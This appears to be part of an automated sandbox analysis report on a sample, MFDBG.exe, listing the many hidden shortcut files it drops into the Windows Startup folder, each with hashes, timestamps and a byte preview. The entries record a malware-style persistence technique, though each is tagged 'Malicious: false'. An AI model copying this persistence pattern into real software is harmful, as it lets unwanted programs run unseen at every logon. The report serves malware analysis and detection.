File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:30 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9273226142533355
Encrypted:	false
SSDEEP:	24:8dBfs8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8PhEvZ0yRO7DLO2zdxdRd1kyg
MD5:	3F6130EE6E569B7EDF9B4656A99186DD
SHA1:	3C49A63EC081CC6EBCF0EA7A4D3987FEA97CB982
SHA-256:	E08C7DAC4A808493E477476C07215A6335930A337D11B2F36684F1DCD60249BC
SHA-512:	3BDC41025E55875541C60F4A024F1AE8269BD740042E7437F5C68B19BE7CE2B01439EFD6C482CD969480CB45CA9B0AA270ED8F26F699CC651728C6C300C02542
Malicious:	false
Preview:	L..................F....".......d....:.Rd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....w.Rd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_fb38cd2a873f4b1a908ec92236637c79.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:04:03 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.925304557816814
Encrypted:	false
SSDEEP:	24:8kQBfk8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8keJEvZ0yRO7DLO2zdxdRd1kyg
MD5:	9262CBF8952EEC8B304410564AC7BEC0
SHA1:	6973A0A46DB799731805DAA0F29CA11A6216FF04
SHA-256:	08AA257A58929DDD5AECA94B34CAF443860F6BD5DE844C37650B356FBA850053
SHA-512:	12882353ECA731FF52D75174230B785D362CC58CEBE6EFAD6EECD337687541C65A2CBC330D4F1544573654499C3B0ADB971A4CE20AD94724DEC84B4510A31BD0
Malicious:	false
Preview:	L..................F....".......d......d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_fbacba17bfd54a5bbeca26464ae558d8.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:30 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.91142671647363
Encrypted:	false
SSDEEP:	24:8ZBfU98EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8D5EvZ0yRO7DLO2zdxdRd1kyg
MD5:	265865849BAEA729E2A9F9F526BEF142
SHA1:	F7B5E9C43E0E9CADEFEE0ED9C1223A59D86C30CC
SHA-256:	7557E5E2CD213BCC169C201EF8BB0E503438956D4A97D8EC849CEA2BF5BE74C9
SHA-512:	807584A6E1D0A46D0BFF14FDC37CC0DBC982A36AE80A1D75892482A9A5C95C7CBF481227FDC93D725870DFF3924DEAB74B4128DDD0A809BA7834B6FE38418C7D
Malicious:	false
Preview:	L..................F....".......d...5..Sd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......Sd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_fbefad1c58c34519967e0cb20d2b705e.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:48 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.920106201402813
Encrypted:	false
SSDEEP:	24:8Sr3BfP8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8SFMEvZ0yRO7DLO2zdxdRd1kyg
MD5:	5EE737A882054F926809EB3DB8304F8F
SHA1:	9DA02DB501C1CCA8C353DE27C0ECD5D7A7E827FA
SHA-256:	1124227117284AC3ABA33DE84645C54D78446D024AACA1AC3E4DA482D6EBEE78
SHA-512:	032DB6DB99E39830434ECBFC3DCBC7E52D4D163F002D8617C327B44AC00450C6534ECBF92ECFCC64611670F438D1EB3172886C6F65D7FBC20FC9770DC6E4473D
Malicious:	false
Preview:	L..................F....".......d....m.]d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...rIm]d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_fc1da7d1c6a74761a4df00f0a60678cd.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:38 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.924494263069199
Encrypted:	false
SSDEEP:	24:8NjBfs8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8NlREvZ0yRO7DLO2zdxdRd1kyg
MD5:	F53CBE6E17F4DA95928B269EB0C32135
SHA1:	1646ECB7DCF0410907296037BB57FC453FE462D8
SHA-256:	201D7C11DD9230F81164A251EF560E1795025B257E11487ED9AA5AECFFE7CF5B
SHA-512:	C89217B5EA07BA4B12C7681E945FE09BF3C97AADAB0A6D9CFA4EB4CB4A32F1959184616E974537950F8047324E8822669E383D03F717AC84401C4DAFCD574865
Malicious:	false
Preview:	L..................F....".......d...0..{d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......{d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_fccd7ef197d04401bb3d04603d3d6553.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:29 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9212259758933845
Encrypted:	false
SSDEEP:	24:85BfeQ8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8j2FEvZ0yRO7DLO2zdxdRd1kyg
MD5:	5E1840A4CD95468AB46C5660864A701A
SHA1:	1F7059C33050858209F3ACFBF097C0AF494F1D24
SHA-256:	B3D3C2A76E6847ED74636631C0ED04641F5767E7E24D7D9209C3085C8B439805
SHA-512:	2EB5DAE1D5B57D11B7CD8AB544056B1BE6AD19C1803CA28586E5DBFE46AC9342C6BF4D76C35BA96E416FA4988FB980BA7CDFD390A2FD6CF4A8D1861BDD75436F
Malicious:	false
Preview:	L..................F....".......d....z.Rd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...6UrRd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_fd7be8dc068948d78aa70dbfe369ca7e.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:04:02 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.923542443279368
Encrypted:	false
SSDEEP:	24:8PQBfx+8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8GtEvZ0yRO7DLO2zdxdRd1kyg
MD5:	91115E22B0975474383A2048E027AF2F
SHA1:	ED413E8F57DA8B1617145FEF8CF7DE93A71A09FF
SHA-256:	FB8C648AAA5C0A6F4C8A016225F026472166D0F807622A955CC816A48151426B
SHA-512:	DABA9AF8DCBDC456DDDE9CB85D2F46FFB2FD09636B74D7425A91604177A5283B32A023D345A51A79808628C4466C8929C231D4ABD4D33C6BC737ADAC427AD530
Malicious:	false
Preview:	L..................F....".......d..../.d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c..../.d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_fdb48038b10c4384b7991f54c5406501.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:40 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.921792019022403
Encrypted:	false
SSDEEP:	24:8cBfO8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8SrEvZ0yRO7DLO2zdxdRd1kyg
MD5:	C3750FF0F8948E11AD59D0620299E10F
SHA1:	6E98A037D7E36379D408BE7BCE3895F91BE22BCF
SHA-256:	531B3542655362270C54F43D2BF73489FD381630F08A88FF4D02BCA8A745645D
SHA-512:	0FABACB7D78C937B58CE5FAE308676970EC3333807D42A73F1A0865A73B6FF04DD7E2C9B7716A29413ECCAC9B4C74AF26A8B8664333BB27CD9E52ABF8489F14E
Malicious:	false
Preview:	L..................F....".......d....u.\|d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....a.\|d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_fdb839047d554ea182761f8b58fb52d1.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:48 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.924735951655343
Encrypted:	false
SSDEEP:	24:8VBfn+8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8XLEvZ0yRO7DLO2zdxdRd1kyg
MD5:	7F8CE9F9FCD9E4BA7B150896BAA5CCB6
SHA1:	99F174CC907E511B827C9874357EA8C7429C12A1
SHA-256:	C7271A8D8E2E796DDC78D4A2474050256489AB0974DF8929D3FA4EF1A3AA5B6D
SHA-512:	467E52AF19A44044FB56602EF64AAFF5218E937BDE00595C69EC9C4490F0095A44F13E2E9E8F88ACE2B8670CDA7452F57EB319CEB1E71DAA8BEBCED076A4D28D
Malicious:	false
Preview:	L..................F....".......d......:d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....u.9d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_fdec0e4c1d1f42de92db4f797d6f6d57.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:44 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9206692054566
Encrypted:	false
SSDEEP:	24:8MBfwof8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8CWEvZ0yRO7DLO2zdxdRd1kyg
MD5:	9B99C8BA46E4E2DCEAE16B700F213DEE
SHA1:	AD013F7EEEFA7D26D88F0F5CAEE0B80B03903CAF
SHA-256:	A5B4A3F5B41D89D47389BAD07FE86DC86401392832C6E5EB0ABB1C3A9E752037
SHA-512:	20B2A3657B6F8405D928A79860C113FB9AF3B23A322A9674E305CBC326F1F261AFCE311AF5D4B0693D281F6F9A6C0B195022E079AF0DE198C955DD3D62D4B59D
Malicious:	false
Preview:	L..................F....".......d...!.g[d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....:W[d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_fe2680119c514045b8c0d0888ee3de23.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:29 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.927964954300207
Encrypted:	false
SSDEEP:	24:8FIBfT8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8o4EvZ0yRO7DLO2zdxdRd1kyg
MD5:	B3C3BF917F871909BF3CEDFE0B107952
SHA1:	868BFB343C3EFA7C2AA9CE67822F58E3444FF621
SHA-256:	7B5AA62326C279FC36D4304D97DB2367A38488EA15F52ADD199499F28B905285
SHA-512:	F613A240774FDDBA1279CC4708AB5C4A0108951257E5C4A10AB44B18BFFEEB51370A2D7696223F58A2BB526EF6086404C3124F7AB316A655FEAC0C05D959DB92
Malicious:	false
Preview:	L..................F....".......d....=.Rd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....Rd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_fe6282a8eec14dfaac4524cf2669496f.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:42 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.918688015962781
Encrypted:	false
SSDEEP:	24:8OBfu8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8k7EvZ0yRO7DLO2zdxdRd1kyg
MD5:	B65F3AACD88312CAF743F33C46C382C4
SHA1:	64F322B9D31188C550FDDEED3799A94D2A138C9E
SHA-256:	413C467135AC8D8BD1C70D9F47930DA9602D0F1501AE40150EE698BCE11B26FA
SHA-512:	D3211FA5443E920739F21A10023C6460B88496D6FBB4A9B84A083698E173C8B0621CAC7AAEBDEF4E9D899A343233DFA2AF1D0B7724ECAEF6D32AC10B38774FB5
Malicious:	false
Preview:	L..................F....".......d......Zd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......Zd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_fe6bd566582542929fe7cfbf6bfffc7c.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:30 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.924137428431958
Encrypted:	false
SSDEEP:	24:8/2Bfs8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8UhEvZ0yRO7DLO2zdxdRd1kyg
MD5:	9691F6C98138E12A1E58E87BB04CC241
SHA1:	5AD6C617EF172FA44738157D73D21242578C1742
SHA-256:	085A615DA6A882A7878CE96D18C218DE55EFADF36B84BD0203C432A45DC89B8D
SHA-512:	E5EFDCA98E4A1B86DCABD7CCA6E5F734E7DBE912EB2BF041BF783B021784274BFC0EED677FDFF05E9C3C2D3F4ADE8A5F3074D9C43D9C0A72362F13037F9CCCA3
Malicious:	false
Preview:	L..................F....".......d...V..Sd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....w.Rd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_fe82d8fe196c4479be0372563483996f.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
